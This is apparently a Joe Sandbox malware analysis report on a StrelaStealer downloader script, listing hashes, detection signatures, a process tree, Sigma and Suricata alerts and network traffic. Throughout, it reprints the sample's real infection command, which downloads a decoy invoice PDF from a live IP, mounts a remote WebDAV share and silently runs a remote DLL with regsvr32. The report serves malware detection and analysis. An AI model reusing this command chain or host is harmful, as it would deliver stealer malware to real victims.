Edit tour

Windows Analysis Report
270782763316448754.js

Overview

General Information

Sample name:	270782763316448754.js
Analysis ID:	1587763
MD5:	7ca280dd498f566d29be5d4d021a4e8b
SHA1:	cadb00dfb999a9e4777c1600cb77448ae16b0993
SHA256:	9496a274f75d37da397981e5895abcb4890510f101d800cf764602419c32003f
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3716 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\270782763316448754.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6112 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2216485416601.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3208 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5464 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2132 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6176 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2052 --field-trial-handle=1628,i,5742921726119356218,17289820269750902021,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6572 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2884 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5560 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3716	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2216485416601.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6112, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3208, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2216485416601.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6112, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3208, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\270782763316448754.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\270782763316448754.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\270782763316448754.js", ProcessId: 3716, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2884, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2216485416601.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2216485416601.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\270782763316448754.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3716, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2216485416601.dll, ProcessId: 6112, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2216485416601.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2216485416601.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\270782763316448754.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3716, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2216485416601.dll, ProcessId: 6112, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2216485416601.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2216485416601.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\270782763316448754.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3716, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2216485416601.dll, ProcessId: 6112, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2216485416601.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2216485416601.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\270782763316448754.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3716, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2216485416601.dll, ProcessId: 6112, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2216485416601.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2216485416601.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\270782763316448754.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3716, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2216485416601.dll, ProcessId: 6112, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\270782763316448754.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\270782763316448754.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\270782763316448754.js", ProcessId: 3716, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2216485416601.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6112, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3208, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6572, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2884, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5560, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6572, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2884, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2216485416601.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2216485416601.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\270782763316448754.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3716, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2216485416601.dll, ProcessId: 6112, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:48:36.356663+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:48:34.240194+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 270782763316448754.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 270782763316448754.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:48:34 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

